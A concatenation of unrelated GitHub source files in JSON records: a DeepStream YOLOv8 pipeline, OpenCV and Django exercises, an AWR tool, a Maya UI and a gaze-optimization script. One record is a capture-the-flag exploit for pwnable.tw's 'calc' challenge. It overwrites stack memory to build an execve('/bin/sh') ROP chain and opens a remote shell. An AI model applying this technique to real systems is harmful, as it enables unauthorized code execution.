'1.0')\n\nfrom gi.repository import Gst,GLib\nfrom common.bus_call import bus_call\n\nimport pyds\nimport configparser\nfrom common.FPS import PERF_DATA\n\nimport math\n\nPGIE_CFIG_PATH = r'./cfig/config_pgie_yolov8.txt'\n\nTRACKER_CFIG_PATH = r'./cfig/config_tracker.txt'\n\nfilepath = 'test23123.mp4'\n\n\n\ngpu_id = 0\nwidth = 1280\nheight = 720\nperf_data = None\n# 视频路径可以是rtsp流,也可以是本地视频\nrtsps = ['file:///root/VID_20230511_153812.mp4']\n\n\ndef osd_sink_pad_buffer_probe(pad,info,u_data):\n \"\"\"探针函数,设置osd绘制框与帧率检测\"\"\"\n gst_buffer = info.get_buffer()\n \n batch_meta = pyds.gst_buffer_get_nvds_batch_meta(hash(gst_buffer)) \n l_frame = batch_meta.frame_meta_list\n while l_frame is not None:\n try:\n frame_meta = pyds.NvDsFrameMeta.cast(l_frame.data)\n except StopIteration:\n break\n stream_index = \"stream{0}\".format(frame_meta.pad_index)\n \n # 帧率更新计算\n global perf_data\n perf_data.update_fps(stream_index)\n \n l_obj=frame_meta.obj_meta_list\n while l_obj is not None:\n try:\n # Casting l_obj.data to pyds.NvDsObjectMeta\n obj_meta=pyds.NvDsObjectMeta.cast(l_obj.data)\n except StopIteration:\n break\n\n obj_meta.text_params.set_bg_clr = 1\n obj_meta.text_params.text_bg_clr.red = 0.0\n obj_meta.text_params.text_bg_clr.green = 0.0\n obj_meta.text_params.text_bg_clr.blue = 0.0\n obj_meta.text_params.text_bg_clr.alpha = 0.0\n\n obj_meta.text_params.font_params.font_color.red = 1.0\n obj_meta.text_params.font_params.font_color.green = 1.0\n obj_meta.text_params.font_params.font_color.blue = 0.0\n obj_meta.text_params.font_params.font_color.alpha = 1.0\n obj_meta.text_params.font_params.font_size = 12\n\n try: \n l_obj=l_obj.next\n # l_user = l_user.next\n except StopIteration:\n break\n \n try:\n l_frame=l_frame.next\n except StopIteration:\n break\n return Gst.PadProbeReturn.OK\n\ndef cb_newpad(decodebin, decoder_src_pad,data):\n print(\"In cb_newpad\\n\")\n caps=decoder_src_pad.get_current_caps()\n gststruct=caps.get_structure(0)\n gstname=gststruct.get_name()\n source_bin=data\n features=caps.get_features(0)\n\n # Need to check if the pad created by the decodebin is for video and not\n # audio.\n print(\"gstname=\",gstname)\n if(gstname.find(\"video\")!=-1):\n # Link the decodebin pad only if decodebin has picked nvidia\n # decoder plugin nvdec_*. We do this by checking if the pad caps contain\n # NVMM memory features.\n print(\"features=\",features)\n if features.contains(\"memory:NVMM\"):\n # Get the source bin ghost pad\n bin_ghost_pad=source_bin.get_static_pad(\"src\")\n if not bin_ghost_pad.set_target(decoder_src_pad):\n sys.stderr.write(\"Failed to link decoder src pad to source bin ghost pad\\n\")\n else:\n sys.stderr.write(\" Error: Decodebin did not pick nvidia decoder plugin.\\n\")\n\ndef decodebin_child_added(child_proxy,Object,name,user_data):\n print(\"Decodebin child added:\", name, \"\\n\")\n if(name.find(\"decodebin\") != -1):\n Object.connect(\"child-added\",decodebin_child_added,user_data)\n\ndef create_source_bin(index,uri):\n print(\"Creating source bin\")\n\n # Create a source GstBin to abstract this bin's content from the rest of the\n # pipeline\n bin_name=\"source-bin-%02d\" %index\n print(bin_name)\n nbin=Gst.Bin.new(bin_name)\n if not nbin:\n sys.stderr.write(\" Unable to create source bin \\n\")\n\n # Source element for reading from the uri.\n # We will use decodebin and let it figure out the container format of the\n # stream and the codec and plug the appropriate demux and decode plugins.\n uri_decode_bin=Gst.ElementFactory.make(\"uridecodebin\", \"uri-decode-bin\")\n if not uri_decode_bin:\n sys.stderr.write(\" Unable to create uri decode bin \\n\")\n # We set the input uri to the source element\n uri_decode_bin.set_property(\"uri\",uri)\n # Connect to the \"pad-added\" signal of the decodebin which generates a\n # callback once a new pad for raw data has beed created by the decodebin\n uri_decode_bin.connect(\"pad-added\",cb_newpad,nbin)\n uri_decode_bin.connect(\"child-added\",decodebin_child_added,nbin)\n\n # We need to create a ghost pad for the source bin which will act as a proxy\n # for the video decoder src pad. The ghost pad will not have a target right\n # now. Once the decode bin creates the video decoder and generates the\n # cb_newpad callback, we will set the ghost pad target to the video decoder\n # src pad.\n Gst.Bin.add(nbin,uri_decode_bin)\n bin_pad=nbin.add_pad(Gst.GhostPad.new_no_target(\"src\",Gst.PadDirection.SRC))\n if not bin_pad:\n sys.stderr.write(\" Failed to add ghost pad in source bin \\n\")\n return None\n return nbin\n\ndef detect():\n \n #初始化\n Gst.init(None)\n pipeline = Gst.Pipeline() \n \n # 元件声明及属性设置\n streammux = Gst.ElementFactory.make(\"nvstreammux\", \"Stream-muxer\")\n pipeline.add(streammux)\n number_sources = rtsps\n \n global perf_data\n perf_data = PERF_DATA(len(number_sources))\n ## url\n for i in range(len(number_sources)):\n print(\"Creating source_bin \",i,\" \\n \")\n uri_name=number_sources[i]\n\n source_bin=create_source_bin(i, uri_name)\n if not source_bin:\n sys.stderr.write(\"Unable to create source bin \\n\")\n pipeline.add(source_bin)\n padname=\"sink_%u\" %i\n sinkpad= streammux.get_request_pad(padname) \n if not sinkpad:\n sys.stderr.write(\"Unable to create sink pad bin \\n\")\n srcpad=source_bin.get_static_pad(\"src\")\n if not srcpad:\n sys.stderr.write(\"Unable to create src pad bin \\n\")\n srcpad.link(sinkpad)\n \n primary_detector = Gst.ElementFactory.make(\"nvinfer\", \"primary-inference\")\n \n nvvidconv = Gst.ElementFactory.make(\"nvvideoconvert\", \"nvvid-converter\")\n nvvidconv1 = Gst.ElementFactory.make(\"nvvideoconvert\", \"nvvid-converter1\")\n \n nvosd = Gst.ElementFactory.make(\"nvdsosd\", \"nv-onscreendisplay\")\n\n caps = Gst.ElementFactory.make(\"capsfilter\", \"filter\")\n tiler=Gst.ElementFactory.make(\"nvmultistreamtiler\", \"nvtiler\")\n \n tracker = Gst.ElementFactory.make(\"nvtracker\",\"tracker\")\n \n queue1=Gst.ElementFactory.make(\"queue\",\"queue1\")\n queue2=Gst.ElementFactory.make(\"queue\",\"queue2\")\n queue5=Gst.ElementFactory.make(\"queue\",\"queue5\")\n queue6=Gst.ElementFactory.make(\"queue\",\"queue6\")\n queue7=Gst.ElementFactory.make(\"queue\",\"queue7\")\n queue8=Gst.ElementFactory.make(\"queue\",\"queue8\")\n queue9=Gst.ElementFactory.make(\"queue\",\"queue9\")\n \n sink = Gst.ElementFactory.make(\"filesink\", \"sink\")\n\n streammux.set_property('width', width)\n streammux.set_property('height', height)\n streammux.set_property('batch-size', len(number_sources))\n streammux.set_property('batched-push-timeout', 4000)\n streammux.set_property('enable-padding', 1)\n streammux.set_property('gpu_id',gpu_id)\n \n tiler_rows=int(math.sqrt(len(number_sources)))\n tiler_columns=int(math.ceil((1.0*len(number_sources))/tiler_rows))\n tiler.set_property(\"rows\",tiler_rows)\n tiler.set_property(\"columns\",tiler_columns)\n tiler.set_property(\"width\", width)\n tiler.set_property(\"height\", height)\n tiler.set_property(\"gpu_id\", gpu_id)\n \n primary_detector.set_property('config-file-path', PGIE_CFIG_PATH)\n pgie_batch_size=primary_detector.get_property(\"batch-size\")\n if(pgie_batch_size != len(number_sources)):\n primary_detector.set_property(\"batch-size\",len(number_sources))\n \n config = configparser.ConfigParser()\n config.read(TRACKER_CFIG_PATH)\n config.sections()\n for key in config['tracker']:\n if key == 'tracker-width' :\n tracker_width = config.getint('tracker', key)\n tracker.set_property('tracker-width', tracker_width)\n if key == 'tracker-height' :\n tracker_height = config.getint('tracker', key)\n tracker.set_property('tracker-height', tracker_height)\n if key == 'gpu-id' :\n tracker_gpu_id = config.getint('tracker', key)\n tracker.set_property('gpu_id', tracker_gpu_id)\n if key == 'll-lib-file' :\n tracker_ll_lib_file = config.get('tracker', key)\n tracker.set_property('ll-lib-file', tracker_ll_lib_file)\n if key == 'll-config-file' :\n tracker_ll_config_file = config.get('tracker', key)\n tracker.set_property('ll-config-file', tracker_ll_config_file)\n if key == 'display-tracking-id' :\n tracker_display_tracking_id= config.getint('tracker', key)\n tracker.set_property('display-tracking-id', tracker_display_tracking_id) \n if key == 'enable-batch-process' :\n tracker_enable_batch_process = config.getint('tracker', key)\n tracker.set_property('enable_batch_process', tracker_enable_batch_process) \n\n caps.set_property(\n \"caps\", Gst.Caps.from_string(\"memory:NVMM, video/x-raw, format, G_TYPE_STRING, I420\")\n )\n \n sink.set_property(\"location\", filepath)\n sink.set_property(\"sync\", 0)\n sink.set_property(\"async\", 0)\n \n encoder = Gst.ElementFactory.make(\"avenc_mpeg4\", \"encoder\")\n if not encoder:\n sys.stderr.write(\" Unable to create encoder \\n\")\n encoder.set_property(\"bitrate\", 2000000)\n print(\"Creating Code Parser \\n\")\n codeparser = Gst.ElementFactory.make(\"mpeg4videoparse\", \"mpeg4-parser\")\n if not codeparser:\n sys.stderr.write(\" Unable to create code parser \\n\")\n print(\"Creating Container \\n\")\n container = Gst.ElementFactory.make(\"qtmux\", \"qtmux\")\n \n loop = GLib.MainLoop()\n bus = pipeline.get_bus()\n bus.add_signal_watch()\n bus.connect (\"message\", bus_call, loop)\n\n # 添加到pipeline中\n pipeline.add(primary_detector)\n pipeline.add(tracker)\n pipeline.add(queue1)\n pipeline.add(queue2)\n pipeline.add(queue5)\n pipeline.add(queue6)\n pipeline.add(queue7)\n pipeline.add(queue8)\n pipeline.add(queue9)\n pipeline.add(nvvidconv)\n pipeline.add(nvosd)\n pipeline.add(tiler)\n pipeline.add(sink)\n pipeline.add(nvvidconv1)\n pipeline.add(encoder)\n pipeline.add(caps)\n pipeline.add(codeparser)\n pipeline.add(container)\n \n # 元件连接\n streammux.link(queue1)\n queue1.link(primary_detector)\n primary_detector.link(queue2)\n queue2.link(tracker)\n tracker.link(queue5)\n queue5.link(tiler)\n tiler.link(queue6)\n queue6.link(nvvidconv)\n nvvidconv.link(queue7)\n queue7.link(nvosd)\n nvosd.link(queue8) \n # queue8.link(sink)\n queue8.link(nvvidconv1) \n nvvidconv1.link(caps) \n caps.link(queue9) \n queue9.link(encoder) \n encoder.link(codeparser)\n codeparser.link(container)\n container.link(sink)\n \n # 探针插入\n osd_sink_pad = nvosd.get_static_pad(\"sink\")\n osd_sink_pad.add_probe(Gst.PadProbeType.BUFFER, osd_sink_pad_buffer_probe, \n 0)\n \n # 定时器定时打印帧率 \n GLib.timeout_add(5000, perf_data.perf_print_callback)\n \n print(\"Now playing: \" )\n pipeline.set_state(Gst.State.PLAYING)\n \n print(\"Running...\")\n try:\n loop.run()\n except:\n pass\n\n #Out of the main loop, clean up nicely\n print(\"Returned, stopping playback\")\n pipeline.set_state(Gst.State.NULL)\n \n\nif __name__ == '__main__':\n \n detect()\n","repo_name":"u5e5t/yolov8-onnx-deepstream-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11869,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"13025437602","text":"import cv2\r\nimport numpy as np\r\nimport math\r\nfrom matplotlib import pyplot as plt\r\n\r\nimg_bgr = cv2.imread('input/image2.jpg')\r\nimg_gray = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2GRAY)\r\nimg_bgr_copy = img_bgr\r\n\r\nxoi = math.ceil(img_bgr.shape[1] / 2)\r\nyoi\t= math.ceil(img_bgr.shape[0] / 2)\r\n\r\ndef roi(bgr,img, min, max):\r\n\tfor i, row in enumerate(img):\r\n\t\tfor j, dot in enumerate(row):\r\n\t\t\tif img[i][j] < min or img[i][j] > max :\r\n\t\t\t\tbgr[i][j] = [30 ,30, 30]\r\n\r\nprint('xoi : ' + str(xoi))\r\nprint('yoi : ' + str(yoi))\r\nprint('color of interest BGR : ' + str(img_bgr[xoi][yoi]))\r\n\r\ncv2.line(img_bgr,(xoi-10,yoi),(xoi+10,yoi),(0,0,255),2)\r\ncv2.line(img_bgr,(xoi,yoi-10),(xoi,yoi+10),(0,0,255),2)\r\ncv2.circle(img_bgr,(xoi,yoi),3, (255,0,0), -1)\r\ncv2.imshow('img_bgr with line',img_bgr)\r\ncv2.imwrite('output/img_bgr_lab1_2.jpg',img_bgr)\r\n\r\nimg_hsv = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2HSV)\r\nprint('color of interest HSV : ' + str(img_hsv[xoi][yoi]))\r\ncv2.imshow('img_hsv',img_hsv)\r\ncv2.imwrite('output/img_hsv_lab1_2.jpg',img_hsv)\r\n\r\nimg_rgb = img_bgr[...,::-1]\r\n\r\n#plt.imshow(img_gray,cmap='hsv')\r\n#plt.xticks([]), plt.yticks([]) # to hide tick values on X and Y axis\r\n#plt.show()\r\n\r\nroi(img_bgr_copy,img_gray,0,150)\r\ncv2.imshow('img_roi',img_bgr_copy)\r\ncv2.imwrite('output/img_roi_lab1_2.jpg',img_bgr_copy)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","repo_name":"seksu/python-lab-image-process","sub_path":"Lab1/Lab1.2.py","file_name":"Lab1.2.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40316469447","text":"import pytest\nfrom django.urls import reverse\nfrom django.test import Client\n\n\n# Main Page Tests\n\n@pytest.mark.django_db\ndef test_main_page_view_not_logged():\n client = Client()\n response = client.get(reverse('main_page'))\n assert response.status_code == 200\n\n\n@pytest.mark.django_db\ndef test_main_page_view_logged_in(login):\n client = Client()\n client.force_login(login)\n response = client.get(reverse('main_page'))\n assert response.status_code == 200\n\n\n\n\n","repo_name":"Wikkktor/GoodHands","sub_path":"GiveInApp/tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11995390870","text":"R,C = map(int, input().split())\nsy, sx = map(int, input().split())\ngy, gx = map(int, input().split())\nc = []\ntmpy, tmpx = sy-1, sx-1\ngy, gx = gy-1, gx-1\n\nfor i in range(R):\n c.append(list(input()))\n\nque = [[tmpy, tmpx, 0]]\n\nc[tmpy][tmpx] = '0'\n\nres = 0\nwhile(True):\n tmp = que.pop(0)\n tmpy = tmp[0]\n tmpx = tmp[1]\n cnk = tmp[2] + 1\n\n if tmpy == gy and tmpx == gx:\n res = tmp[2]\n break\n\n if c[tmpy][tmpx-1] == '.':\n c[tmpy][tmpx-1] = cnk\n que.append([tmpy,tmpx-1,cnk])\n if c[tmpy-1][tmpx] == '.':\n c[tmpy-1][tmpx] = cnk\n que.append([tmpy-1,tmpx,cnk])\n if c[tmpy][tmpx+1] == '.':\n c[tmpy][tmpx+1] = cnk\n que.append([tmpy,tmpx+1,cnk])\n if c[tmpy+1][tmpx] == '.':\n c[tmpy+1][tmpx] = cnk\n que.append([tmpy+1,tmpx,cnk])\n\nprint(res)\n","repo_name":"nsh58/at-coder","sub_path":"py/breadth_first_search.py","file_name":"breadth_first_search.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"3946644738","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n使用 int 0x80 调用 execve('/bin/sh') 获取shell\nint 0x80 (eax=11, ebx=addr('/bin/sh'), ecx=0, edx=0)\n注意:execve必须使用绝对路径\n\"\"\"\n\nimport sys\nfrom pwn import *\n\nDEBUG = 0\n\nclass BaseCfg:\n POP_EAX_RET = 0x0805c34b # 0x0805c34b: pop eax ; ret ;\n POP_ECX_EBX_RET = 0x080701d1 # 0x080701d1: pop ecx ; pop ebx ; ret ;\n POP_EDX_RET = 0x080701aa # 0x080701aa: pop edx ; ret ;\n INT_0X80 = 0x08049a21 # 0x08049a21: int 0x80 ;\n\n def __init__(self):\n context(arch='i386', os='linux')\n context.log_level = 'debug'\n\n \nclass DebugCfg(BaseCfg):\n def __init__(self):\n BaseCfg.__init__(self)\n self.host = '127.0.0.1'\n self.port = 4444\n\n\nclass RealCfg(BaseCfg):\n def __init__(self):\n BaseCfg.__init__(self)\n context.log_level = 'info'\n self.host = 'chall.pwnable.tw'\n self.port = 10100\n\n\ndef main():\n cfg = DebugCfg() if DEBUG else RealCfg()\n io = remote(cfg.host, cfg.port)\n log.info(io.recv())\n # addr of '/bin/sh'\n # raw_input('wait debug')\n io.sendline('+360')\n main_ebp = int(io.recv())\n main_ebp_disp = main_ebp if main_ebp > 0 else 0x100000000 + main_ebp\n log.success('main_ebp = %s', '0x{:08X}'.format(main_ebp_disp))\n # mstacksize = main_ebp - (main_ebp & 0xFFFFFFF0 - 16)\n sh_addr = main_ebp + (8 - (24 / 4 + 1)) * 4\n sh_addr_disp = sh_addr if sh_addr > 0 else 0x100000000 + sh_addr\n log.success('sh_addr = %s', '0x{:08X}'.format(sh_addr_disp))\n\n # raw_input('wait debug')\n\n vals = (\n cfg.POP_EAX_RET, 11,\n cfg.POP_EDX_RET, 0,\n cfg.POP_ECX_EBX_RET, 0, sh_addr,\n cfg.INT_0X80,\n 0x6e69622f, 0x0068732f, # /bin/sh\\x00\n )\n # stack overflow\n start = 361\n for idx, val in enumerate(vals):\n io.sendline('+' + str(start + idx))\n memval = int(io.recv())\n log.debug('orig mem val = %s', '0x{:08X}'.format(memval))\n log.debug('target mem val = %s', '0x{:08X}'.format(val))\n diff = val - memval\n payload = '+' + str(start + idx)\n if diff < 0:\n payload += str(diff)\n else:\n payload += '+' + str(diff)\n log.info('payload = %s', payload)\n io.sendline(payload)\n result = int(io.recv())\n result_disp = result if result >= 0 else 0x100000000 + result\n log.debug('%d = %s', start + idx, '0x{:08X}'.format(val))\n if result != val:\n log.error('result = %d, val = %d', result, val)\n sys.exit(-1)\n io.send('Merry Christmas!')\n io.interactive('\\nshell# ')\n io.close()\n\n\nif __name__ == '__main__':\n main()","repo_name":"ahxxm/G4M3","sub_path":"pwnable.tw/calc/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71024599729","text":"import matplotlib.pyplot as plt\nfrom dataloader import load_data\nfrom utils import *\nfrom TrainProcedure import *\n\ndef main():\n do_show_fig = True\n do_save_fig = True\n CrossValid = True\n SoftmaxQ6 = True\n StochasticDescent = True #useful if SoftmaxQ6 == True & CompareLrQ5c == False\n CompareLrQ5c = False # Ture if for Q5ciii (select different learning rates)\n if CompareLrQ5c:\n SoftmaxQ6 = False #Disable this flag variable if CompareLrQ5c == True\n lr1 = 0.1\n lr2 = 3\n lr3 = 10\n lr = 3 # learning rate lr = 0.02 when using SGD\n M = 300 # Total Epoch\n Interval = 50 # Interval used for drawing the errorbars\n Num_PC = 50 #Number of PCs\n\n if not SoftmaxQ6: #Q5\n if CrossValid:\n # k-fold dataset\n k = 10\n # Load data from ./resized/ folder\n images, cnt = load_data(data_dir=\"./aligned/\")\n Minivan = images.get('Minivan')\n Convertible = images.get('Convertible')\n minivan = flatten_img(Minivan)\n convertible = flatten_img(Convertible)\n if not CompareLrQ5c:\n cost_train, acc_train, cost_val, acc_val, cost_test, acc_test, final_acc, std_final_acc = CrossRun(k, minivan, convertible, lr, M, Num_PC)\n print('The final test accuracy is %f (std = %f)' %(final_acc, std_final_acc))\n else:\n print('First Learning Rate')\n cost_train1, acc_train1, cost_val1, acc_val1, cost_test1, acc_test1, final_acc1, std_final_acc1 = CrossRun(k, minivan, convertible, lr1, M, Num_PC)\n print('Second Learning Rate')\n cost_train2, acc_train2, cost_val2, acc_val2, cost_test2, acc_test2, final_acc2, std_final_acc2 = CrossRun(k, minivan, convertible, lr2, M, Num_PC)\n print('Third Learning Rate')\n cost_train3, acc_train3, cost_val3, acc_val3, cost_test3, acc_test3, final_acc3, std_final_acc3 = CrossRun(k, minivan, convertible, lr3, M, Num_PC)\n print('The final test accuracy is %f (std = %f) for lr=%f' % (final_acc1, std_final_acc1, lr1))\n print('The final test accuracy is %f (std = %f) for lr=%f' % (final_acc2, std_final_acc2, lr2))\n print('The final test accuracy is %f (std = %f) for lr=%f' % (final_acc3, std_final_acc3, lr3))\n else:\n # one run\n # Load data from ./resized/ folder\n images, cnt = load_data(data_dir=\"./resized/\")\n Minivan = images.get('Minivan')\n Convertible = images.get('Convertible')\n minivan = flatten_img(Minivan)\n convertible = flatten_img(Convertible)\n cost_train, acc_train, cost_val, acc_val, cost_test, acc_test, final_acc = OneRun(minivan, convertible, lr, M, Num_PC)\n print('The final test accuracy is %f' %(final_acc))\n else: #Q6\n # k-fold dataset\n k = 10\n # Load data from ./resized/ folder\n images, cnt = load_data(data_dir=\"./aligned/\")\n Minivan = images.get('Minivan')\n Convertible = images.get('Convertible')\n Pickup = images.get('Pickup')\n Sedan = images.get('Sedan')\n minivan = flatten_img(Minivan)\n convertible = flatten_img(Convertible)\n pickup = flatten_img(Pickup)\n sedan = flatten_img(Sedan)\n cost_train, acc_train, cost_val, acc_val, cost_test, acc_test, final_acc, std_final_acc, Confusion_Matrix = Softmax(k, minivan, convertible, pickup, sedan, lr, M, Num_PC, StochasticDescent = StochasticDescent)\n print('The Confusion Matrix is\\n')\n print(Confusion_Matrix)\n print('The final test accuracy is %f (std = %f)' %(final_acc, std_final_acc))\n\n # Plot: Cost & Accuracy against Epochs\n if not CompareLrQ5c:\n plotFunc(cost_test, acc_test, SetName = 'TestingSet', do_save_fig = do_save_fig, CrossValid = CrossValid, Softmax = SoftmaxQ6, Epoch = M, Interval = Interval)\n plotFunc2(cost_train, cost_val, param='Error', do_save_fig=do_save_fig, CrossValid=CrossValid, Epoch = M, Softmax = SoftmaxQ6, Interval = Interval)\n plotFunc2(acc_train, acc_val, param='Accuracy', do_save_fig=do_save_fig, CrossValid=CrossValid, Epoch = M, Softmax = SoftmaxQ6, Interval = Interval)\n else:\n plotFunc3(cost_train1, cost_train2, cost_train3, lr1, lr2, lr3, SetName = 'TrainSet', do_save_fig = do_save_fig, CrossValid = CrossValid, Softmax = SoftmaxQ6, Epoch = M, Interval = Interval)\n if do_show_fig:\n plt.show()\n\n\nif __name__ == '__main__':\n main()","repo_name":"yuzhang-ucsd/CSE251B","sub_path":"PA1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"29452466153","text":"import os\nfrom flask import current_app\nfrom pyecharts import Line\nfrom app.commons import DownloadZip\nfrom app.models import AwrHistory\nfrom app.servers.rules import DelExpiredFile\n\n\n# get the data from sql and save as raw awr report\nclass FileOperation(object):\n\n def __init__(self, history_id):\n self.raw_html_folder = current_app.config['RAW_AWR_FOLDER']\n self.history_id = str(history_id)\n self.base_loca = os.path.join(self.raw_html_folder, self.history_id)\n\n def mkdir(self):\n if not os.path.exists(self.base_loca):\n os.mkdir(self.base_loca)\n\n def data_save_as_file(self, data, file_name):\n file = os.path.join(self.base_loca, file_name)\n with open(file, 'w+', encoding='utf-8') as f:\n f.write(data)\n\n def dele_expire_zip(self):\n files = [os.path.join(root, name)\n for root, _, files in os.walk(self.base_loca)\n for name in files if name.split('.')[1] == 'zip']\n try:\n for file in files:\n os.remove(file)\n except Exception as e:\n current_app.logger.err('delete expired zip err:%s' % str(e))\n\n def check_file_exist(self, file_name):\n awr_html = os.path.join(self.base_loca, file_name)\n string = '/static/awr_html/%s/%s' % (self.history_id, file_name)\n\n if os.path.exists(awr_html):\n return True, string\n return False, 'file has been clean'\n\n def get_html_location(self):\n obj = AwrHistory.query.get(self.history_id)\n awr_html = os.path.join(self.base_loca, '%s.html' % obj.name)\n\n return awr_html\n\n def download(self, file):\n DelExpiredFile.do_sth(self.base_loca, ['zip'])\n return DownloadZip.zip(self.base_loca, file, kepp_source_file=True)\n\n def generate_graph(self, legend, xdata, ydata, file, axis_name):\n try:\n xaxis_name, yaxis_name = axis_name\n line = Line(background_color='white')\n xdata = [str(i) for i in xdata]\n line.add(legend, xdata, ydata, is_smooth=True,\n xaxis_name=xaxis_name,\n yaxis_name=yaxis_name,\n xaxis_name_pos='middle',\n yaxis_name_pos='end',\n yaxis_interval=2,)\n\n path = os.path.join(self.base_loca, '%s.jpeg' % file)\n line.render(path)\n string = '/static/awr_html/%s/%s.jpeg' % (self.history_id, file)\n\n return string\n except Exception as e:\n current_app.logger.err('generate graph err:%s' % str(e))\n","repo_name":"zhengjc2018/awr_tool","sub_path":"run/get_awr_file.py","file_name":"get_awr_file.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"14809063620","text":"from PySide import QtGui\n\nfrom rigtools import maya_utils\nfrom rigtools.ui.aspToolsUI import ui_aspfkInIkSpine\nfrom rigtools.ui import ui_fill\nfrom rigtools.aspTools import tools\n\n\nclass FkInIkSpineConn(QtGui.QMainWindow, ui_aspfkInIkSpine.Ui_FkInIkSpineWindow):\n def __init__(self, prnt=None):\n super(FkInIkSpineConn, self).__init__(prnt)\n self.setupUi(self)\n self.connections()\n\n def connections(self):\n self.fkInIkSp_StartCtl_btn.clicked.connect(lambda: ui_fill.fillLineEdit(self.fkInIkSp_StartCtl_LE))\n self.fkInIkSp_EndCtl_btn.clicked.connect(lambda: ui_fill.fillLineEdit(self.fkInIkSp_EndCtl_LE))\n self.fkInIkSp_HipCtls_btn.clicked.connect(lambda: ui_fill.fillListInLineEdit(self.fkInIkSp_HipCtls_LE))\n self.fkInIkSp_create_btn.clicked.connect(self.asFkInIkSpineConn)\n\n def asFkInIkSpineConn(self):\n with maya_utils.UndoChunkOpen('FkInIkSpine'):\n startCtl = self.fkInIkSp_StartCtl_LE.text()\n endCtl = self.fkInIkSp_EndCtl_LE.text()\n ctlName = self.fkInIkSp_ctlName_LE.text()\n ctlNumber = self.fkInIkSp_ctlNum_spbx.value()\n hipCtlGrps = ui_fill.extractLineEditList(self.fkInIkSp_HipCtls_LE)\n tools.fkCtlInIkSpine(startCtl, endCtl, hipCtlGrps, ctlName, ctlNumber)\n\n\ndef main():\n winClass = FkInIkSpineConn(maya_utils.maya_main_window())\n return winClass.show()\n","repo_name":"durgeshn/rigtools","sub_path":"rigtools/ui/aspToolsUI/winFkInIkSpine.py","file_name":"winFkInIkSpine.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"713103160","text":"\nfrom distutils.log import debug\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pathlib import Path \nimport socket\nimport pickle\nfrom rich.progress import track\nimport cv2\nfrom matplotlib.animation import FuncAnimation\nimport matplotlib.animation as animation\nimport matplotlib.ticker as mticker\nimport sys \nfrom datetime import datetime\nfrom scipy import optimize\nfrom scipy.spatial.transform import Rotation\n\n\n\ndef plot_optimization_error(error,gaze_xyz, gaze_rotated_by_guess_then_head_rotation_xyz, mean_fixation_point_xyz, skel_during_vor_fr_mar_dim):\n figure_number=13451\n\n if not plt.fignum_exists(figure_number):\n fig = plt.figure(figure_number)\n ax = fig.add_subplot(111, projection='3d')\n else:\n fig = plt.gcf()\n ax = plt.gca()\n\n\n fig.suptitle(f'error: {error}')\n ax_range = 1e3\n ax.clear() \n\n ax.plot(0,0,0, 'mo',label='origin')\n\n ax.plot(gaze_xyz[:,0],\n gaze_xyz[:,1], \n gaze_xyz[:,2], 'k-o',label='original gaze xyz')\n\n gaze_rot_xyz =np.array(gaze_rotated_by_guess_then_head_rotation_xyz)\n ax.plot(gaze_rot_xyz[:,0],\n gaze_rot_xyz[:,1], \n gaze_rot_xyz[:,2], 'r-o',label='gaze_rotated_by_guess_then_head_rotation_xyz')\n\n ax.plot(mean_fixation_point_xyz[0],\n mean_fixation_point_xyz[1], \n mean_fixation_point_xyz[2], 'b-o',label='mean_fixation_point_xyz')\n\n ax.set_xlim([-ax_range, ax_range])\n ax.set_ylim([-ax_range, ax_range])\n ax.set_zlim([-ax_range, ax_range])\n ax.legend()\n plt.pause(.01)\n\n\ndef get_optimal_rotation_matrix_to_align_gaze_with_target(gaze_xyz,\n fixation_point_in_eye_coordinates_xyz,\n head_rotation_matricies_fr_row_col,\n skel_during_vor_fr_mar_dim):\n euler_angles = optimize.least_squares(get_error_between_two_rotation_matricies,\n [0,0,0],\n args=(gaze_xyz,fixation_point_in_eye_coordinates_xyz, head_rotation_matricies_fr_row_col, skel_during_vor_fr_mar_dim),\n gtol=1e-10,\n verbose=2).x\n return Rotation.from_euler('XYZ',euler_angles).as_matrix()\n\n\n\ndef get_error_between_two_rotation_matricies(euler_angle_guess,\n gaze_xyz,\n fixation_point_in_eye_coordinates_xyz,\n head_rotation_maticies_fr_row_col,\n skel_during_vor_fr_mar_dim):\n #convert euler angles to rotation matrix\n rotation_matrix_guess = Rotation.from_euler('XYZ',euler_angle_guess).as_matrix()\n\n #rotate gaze by rotation guess\n gaze_rotated_by_guess = [rotation_matrix_guess @ gaze_xyz[this_frame_number,:] for this_frame_number in range(gaze_xyz.shape[0])]\n\n #...then rotate THAT by head_rotation matrix\n gaze_rotated_by_guess_then_head_rotation_xyz =[head_rotation_maticies_fr_row_col[this_frame_number,:,:] @ gaze_rotated_by_guess[this_frame_number]\n for this_frame_number in range(gaze_xyz.shape[0])]\n\n mean_fixation_point_xyz = np.mean(fixation_point_in_eye_coordinates_xyz, axis=0)\n #define error as difference between the fixation point and that rotated gaze estimate (these are both normalized, I think)\n error_per_frame = gaze_rotated_by_guess_then_head_rotation_xyz - mean_fixation_point_xyz\n error = np.nanmean(np.nansum(error_per_frame**2)/error_per_frame.shape[0])\n \n plot_optimization_error(error,gaze_xyz, gaze_rotated_by_guess_then_head_rotation_xyz, 